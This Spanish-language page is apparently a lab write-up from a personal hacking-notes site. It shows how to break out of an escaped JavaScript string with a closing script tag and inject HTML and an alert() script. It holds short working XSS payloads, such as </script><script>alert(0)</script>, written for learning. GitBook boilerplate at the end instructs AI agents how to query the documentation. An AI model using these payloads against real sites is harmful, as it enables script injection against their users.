> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/xss-in-a-javascript-string-with-apostrophe-and-backslash-escaped.md).

# XSS en una cadena de JavaScript con apóstrofo y barra invertida escapados

### XSS reflejado en una cadena de JavaScript con comilla simple y barra invertida escapadas

XSS reflejado en la función de seguimiento de términos de búsqueda. El valor reflejado se inserta en una cadena de JavaScript; las comillas simples y las barras invertidas se han escapado, lo que dificulta la evasión.

Objetivo

* Salir de la cadena de JavaScript escapada y llamar a `alert()`.

<figure><img src="/files/60d4c5ecd70fd1b022f6b729bb79c8bd418c45bc" alt=""><figcaption></figcaption></figure>

Observaciones actuales

* Si `prueba` se envía, el valor se almacena en la `searchTerm` variable del script.
* Intento de introducir una nueva variable:/ `testing'; var=test='thisIsATest`/ → Se observa que las comillas y las barras invertidas () se inyectan/presentan e impiden la inyección directa.

```bash
testing'; var=test='thisIsATest
```

* Simplemente insertar la etiqueta de cierre del script puede cerrar el contexto del script: `</script>`

```javascript
</script>
```

<figure><img src="/files/e0ca67286b1058bf0b1749b7b6191340354124d0" alt=""><figcaption></figcaption></figure>

* Después de cerrar, se puede renderizar texto HTML simple: `</script><h1>HACK</h1>`

```javascript
</script><h1>HACK</h1>
```

<figure><img src="/files/949fa01d7bd6396d2c6df80a482986f5e32aa18e" alt=""><figcaption></figcaption></figure>

* Y, finalmente, es posible ejecutar un `alerta` añadiendo un nuevo `<script>` después de cerrar: `</script><script>alert(0)</script>`

```javascript
</script><script>alert(0)</script>
```

<figure><img src="/files/65ce67f1b517bc39ddac6b8bba03362cb2104cb6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/xss-in-a-javascript-string-with-apostrophe-and-backslash-escaped.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
